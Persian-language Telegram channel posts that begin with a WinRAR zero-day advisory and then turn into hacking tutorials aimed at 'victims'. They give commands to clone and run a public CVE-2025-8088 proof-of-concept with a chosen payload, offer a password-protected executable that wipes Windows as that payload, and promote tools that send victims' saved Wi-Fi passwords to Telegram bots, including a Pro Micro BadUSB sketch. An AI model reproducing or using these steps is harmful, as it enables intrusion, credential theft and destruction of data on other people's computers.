آسیب پذیری WinRAR
یک آسیبپذیری بسیار خطرناک (Zero-Day) در WinRAR کشف شده که مهاجمان میتونن فایلهای مخرب RAR رو طوری بسازن که بدون اجازه کاربر، بعد از استخراج وارد فولدرهای حساس مثل Startup بشن و بدافزارها رو اجرا
کنند
با باز کردن یک آرشیو مخرب که مسیر فایلها رو جابهجا میکنه (Directory Traversal با کمک Alternate Data Stream ویندوز)
نسخههای قبلی (تا ۷.۱۲) آسیبپذیر هستند. حتماً به WinRAR نسخه ۷.۱۳ یا بالاتر بهصورت دستی آپدیت کنید؛ چون نرمافزار آپدیت خودکار ندارد
یک آسیبپذیری بسیار خطرناک (Zero-Day) در WinRAR کشف شده که مهاجمان میتونن فایلهای مخرب RAR رو طوری بسازن که بدون اجازه کاربر، بعد از استخراج وارد فولدرهای حساس مثل Startup بشن و بدافزارها رو اجرا
کنند
چطور اجرا میشه؟
با باز کردن یک آرشیو مخرب که مسیر فایلها رو جابهجا میکنه (Directory Traversal با کمک Alternate Data Stream ویندوز)
راهکار:
نسخههای قبلی (تا ۷.۱۲) آسیبپذیر هستند. حتماً به WinRAR نسخه ۷.۱۳ یا بالاتر بهصورت دستی آپدیت کنید؛ چون نرمافزار آپدیت خودکار ندارد
❤21👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
آسیب پذیری WinRAR یک آسیبپذیری بسیار خطرناک (Zero-Day) در WinRAR کشف شده که مهاجمان میتونن فایلهای مخرب RAR رو طوری بسازن که بدون اجازه کاربر، بعد از استخراج وارد فولدرهای حساس مثل Startup بشن و بدافزارها رو اجرا کنند چطور اجرا میشه؟ با باز کردن یک…
با زبان خیلی ساده توضیح میدم
هممون تاحال فایل rar استخراج کردیم و نرم افزار WinRAR رو روی ویندوز مون نصب داریم
ما میایم یک بدافزار رو با یک فایل rar ترکیب میکنیم و اون بدافزار میتونه فرمت های زیر رو داشته باشه ک بهراحتی روی هر ویندوزی اجرا بشه
فرمت هایی مثل :
• exe ( فایل اجرایی ویندوز )
• bat
اینا فرمت هایی هستند که روی هر ویندوزی اجرا میشن
حالا اون بدافزار میتونه هرچیزی باشه و هرکاری روی سیستم قربانی انجام بده مثل برداشتن عکس ، فیلم ، پسورد های سیو شده گوگل و درکل بگم کنترل و دسترسی به کل سیستم قربانی
فایل rar که درست کردیم رو برای قربانی میفرستیم (در ادامه ویدیو اموزشی میزارم چجوری درست کنیم ) و وقتی که فایل رو استخراج کنه بدافزار ما اجرا میشه و در منوی Startup ویندوز قرار میگیره (منوی Startup برنامه هایی هستند ک وقتی ویندوز ری استارت میشه به عنوان اولین برنامه ها اجرا میشن )
و بدون هیچ اروری و خیلی ساده قربانی هک میشه !
ویدئو ساختش رو ری اکشن بالا باشه میزارم
هممون تاحال فایل rar استخراج کردیم و نرم افزار WinRAR رو روی ویندوز مون نصب داریم
سناریو حمله چجوریه ؟
ما میایم یک بدافزار رو با یک فایل rar ترکیب میکنیم و اون بدافزار میتونه فرمت های زیر رو داشته باشه ک بهراحتی روی هر ویندوزی اجرا بشه
فرمت هایی مثل :
• exe ( فایل اجرایی ویندوز )
• bat
اینا فرمت هایی هستند که روی هر ویندوزی اجرا میشن
حالا اون بدافزار میتونه هرچیزی باشه و هرکاری روی سیستم قربانی انجام بده مثل برداشتن عکس ، فیلم ، پسورد های سیو شده گوگل و درکل بگم کنترل و دسترسی به کل سیستم قربانی
چجوری اجرا میشه ؟
فایل rar که درست کردیم رو برای قربانی میفرستیم (در ادامه ویدیو اموزشی میزارم چجوری درست کنیم ) و وقتی که فایل رو استخراج کنه بدافزار ما اجرا میشه و در منوی Startup ویندوز قرار میگیره (منوی Startup برنامه هایی هستند ک وقتی ویندوز ری استارت میشه به عنوان اولین برنامه ها اجرا میشن )
و بدون هیچ اروری و خیلی ساده قربانی هک میشه !
ویدئو ساختش رو ری اکشن بالا باشه میزارم
❤23👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
با زبان خیلی ساده توضیح میدم هممون تاحال فایل rar استخراج کردیم و نرم افزار WinRAR رو روی ویندوز مون نصب داریم سناریو حمله چجوریه ؟ ما میایم یک بدافزار رو با یک فایل rar ترکیب میکنیم و اون بدافزار میتونه فرمت های زیر رو داشته باشه ک بهراحتی روی هر ویندوزی…
Media is too big
VIEW IN TELEGRAM
10❤🔥15👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
نحوه استفاده از اکسپلویت اسیب پذیری WinRAR سوالی داشتید بپرسید: @RIPPER_Support
دستورات استفاده شده در ویدئو
اگه ارور داد
cd desktop
اگه ارور داد
cd onedrive/desktop
git clone https://github.com/sxyrxyy/CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-
python poc.py --decoy resume.txt --payload اسم بد افزار --drop "C:" --rar "C:\Program Files\WinRAR\rar.exe"
❤🔥14👎1
PC Cleaner.zip
47.6 KB
فایل حذف ویندوز
رمز :c5R%vUHGd@c&*b
رمز :
مسئولیت هر گونه سوءاستفاده بر عهده خودتان میباشد
هر سوالی بود از اکانت پشتیبان بپرسید
❤🔥6👎1
This media is not supported in your browser
VIEW IN TELEGRAM
دریافت چت آیدی و ساخت ربات مربوط به آموزش هک wifi
آیدی BotFather :
@BotFather
ربات دریافت Chat ID :
@userinfobot
❤8👎1
Media is too big
VIEW IN TELEGRAM
ابزار هک wifi با اجرای فایل
آیدی اکانت پشتیبانی :
@RIPPER_Support
• برای ارسال اطلاعات به تلگرام نیازی به روشن بودن فیلتر شکن نیست
• برای اجرا روی سیستم قربانی فایل کانفینگ باید کنار فایل free-vpn باشد ک بتواند اطلاعات شمارا بخواند و اطلاعات برای شما ارسال شود
• فقط یکبار توکن و چت آیدی وارد کنید کافیه و سیو میشه
آیدی اکانت پشتیبانی :
@RIPPER_Support
5❤12👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
ابزار هک wifi با اجرای فایل • برای ارسال اطلاعات به تلگرام نیازی به روشن بودن فیلتر شکن نیست • برای اجرا روی سیستم قربانی فایل کانفینگ باید کنار فایل free-vpn باشد ک بتواند اطلاعات شمارا بخواند و اطلاعات برای شما ارسال شود • فقط یکبار توکن و چت آیدی…
همین آموزش فقط با اتصال یک بُرد اگه حمایت بشه بزودی میزارم...
❤🔥12👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
همین آموزش فقط با اتصال یک بُرد اگه حمایت بشه بزودی میزارم...
Media is too big
VIEW IN TELEGRAM
لیست کل وای فای هایی که اون سیستم تاحال بهشون متصل شده + رمزشون برای شما ارسال میشه
❤🔥10👎1
حملات HID و بد یواسبی چیست؟
حتماً تا حالا فلش یا کیبورد USB دیدی که وقتی وصلش میکنی، سیستم بدون تأیید خاصی قبولش میکنه. حملات HID از همین اعتماد سیستم به دستگاههای ورودی استفاده میکنن!
بردهای Pro Micro یا digi spark شبیه یه فلش ساده هستن، اما وقتی وصل میشن، خودشون رو بهجای کیبورد معرفی میکنن و میتونن در چند ثانیه هر دستوری رو مثل یک تایپیست حرفهای توی سیستم وارد کنن.
باز کردن CMD یا PowerShell (دقیق تر بگم با دسترسی به این دو تا میشه کل سیستم طرف رو در اختیار قرار گرفت)
دانلود و اجرای کدهای مخرب
ساختن اکانت پنهانی یا تغییر تنظیمات سیستم
❤🔥11👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
حملات HID و بد یواسبی چیست؟ حتماً تا حالا فلش یا کیبورد USB دیدی که وقتی وصلش میکنی، سیستم بدون تأیید خاصی قبولش میکنه. حملات HID از همین اعتماد سیستم به دستگاههای ورودی استفاده میکنن! بردهای Pro Micro یا digi spark شبیه یه فلش ساده هستن، اما وقتی…
This media is not supported in your browser
VIEW IN TELEGRAM
🔥7👎1
This media is not supported in your browser
VIEW IN TELEGRAM
آموزش هک وای فای با برد pro micro
آیدی پشتیبان:
@RIPPER_Support
این آموزش در محیط لینوکس ریکورد شده اما روند کار هیچ فرقی با ویندوز نداره
خواستید تست کنید دقت کنید که
دکمه ی CapsLK خاموش باشه (کیبورد روی حروف کوچیک باشه)
و کیبورد انگلیسی باشه
آیدی پشتیبان:
@RIPPER_Support
5❤🔥11❤1👎1
Ripper-wifi.ino
760 B
فایل مورد نیاز این آموزش
این کد رو روی برد pro micro آپلود کنید
کد مناسب بُرد های دیجی اسپارک بزودی...
وقتی برد رو متصل میکنید لیست وای فای ها + رمزشون توی گروه زیر دریافت میشه
https://t.me/Ripper_wifi_pass
هرکس ک میخاد اطلاعات رو توی ربات شخصی خودش دریافت کنه اکانت پشتیبانی پیام بده و توکن و چت آیدی خودشو ارسال کنه تا ابزارو براش شخصی سازی کنیم
❤🔥15👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
آموزش هک وای فای با برد pro micro این آموزش در محیط لینوکس ریکورد شده اما روند کار هیچ فرقی با ویندوز نداره خواستید تست کنید دقت کنید که دکمه ی CapsLK خاموش باشه (کیبورد روی حروف کوچیک باشه) و کیبورد انگلیسی باشه آیدی پشتیبان: @RIPPER_Support
بُردی که در این اموزش استفاده شده
این بُرد رو میتونید از فروشگاه های حضوری و آنلاین تهیه کنید
Arduino pro micro
این بُرد رو میتونید از فروشگاه های حضوری و آنلاین تهیه کنید
لینک خرید آنلاین بُرد
❤🔥15❤1👎1
𝗥𝗜𝗣𝗣𝗘𝗥 | شایان
PC Cleaner.zip
توضیحات :
یک فایل اجرایی ویندوز .exe توی این فایل زیپ هست که با ران شدنش ویندوز بطور کامل حذف میشه !
ایده :
یک فایل اجرایی ویندوز .exe توی این فایل زیپ هست که با ران شدنش ویندوز بطور کامل حذف میشه !
سیو کردن فایل ها مشکلی نداره
فقط به هیچ عنوان روی سیستم خودتون ران نکنید 🤝
ایده :
میتونید این فایل رو توی این اموزش به عنوان بدافزار استفاده کنید نتیجه اینجوری میشه یه فایل rar خیلی ساده و عادی برا طرف میفرستی و وقتی سیستمش رو ری استارت میکنه دیگه ویندوزش رو نمیبینه !ورژن 2 بزودی...
❤🔥23👎1
ری اکشن بالا باشه تا ابزار و آموزش های جدید زودتر و حرفه ای تر و با کیفیت بیشتر اماده بشن...
5❤🔥36👎1